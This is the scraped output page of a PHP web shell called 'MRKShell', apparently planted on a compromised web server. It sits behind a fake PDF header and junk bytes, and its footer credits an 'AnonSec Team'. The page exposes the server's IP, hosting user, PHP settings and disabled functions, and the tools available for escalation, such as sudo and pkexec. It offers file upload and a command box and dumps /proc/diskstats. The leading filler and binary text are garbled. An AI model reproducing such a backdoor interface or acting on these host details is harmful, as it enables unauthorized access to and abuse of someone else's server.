...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.172
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/diskstats
 259       0 nvme0n1 1992703653 16075471 73923952435 248286398 411534918 328523222 95054178163 2650296131 0 413645795 2898582529 0 0 0 0
 259       1 nvme0n1p1 4100702 614233 477767314 657688 654285 8902506 78574449 15771996 0 1547056 16429684 0 0 0 0
 259       2 nvme0n1p2 63553 4539 7572856 7169 2219 4698 281105 32752 0 8682 39922 0 0 0 0
 259       3 nvme0n1p3 1988529369 15456699 73438394353 247619964 385787917 319616018 94975322609 2559529360 3 402236517 2807149324 0 0 0 0
 259       4 nvme1n1 292564801 15107832 19489456379 91723966 411335258 328722885 95054181211 2753789493 0 330518903 2845513460 0 0 0 0
 259       5 nvme1n1p1 3533833 416286 471602130 319266 652486 8904305 78574449 18983030 0 1633072 19302296 0 0 0 0
 259       6 nvme1n1p2 57339 4539 7434310 8904 2219 4698 281105 57910 0 9736 66814 0 0 0 0
 259       7 nvme1n1p3 288963529 14687007 19010203195 91390163 385590056 319813882 94975325657 2659552093 1 312915938 2750942256 0 0 0 0
   9       1 md1 14592 0 347498 8534 6400 0 280588 72122 0 3901 80656 0 0 0 0
   9       0 md0 1330832 0 10777904 759537 9494214 0 78511872 1749930451 0 3095980 1750689988 0 0 0 0
   9       2 md2 2156699140 0 73128752098 406281207 680128299 0 94878152856 3248696933 10 459569525 3654978140 0 0 0 0

Anon7 - 2022
AnonSec Team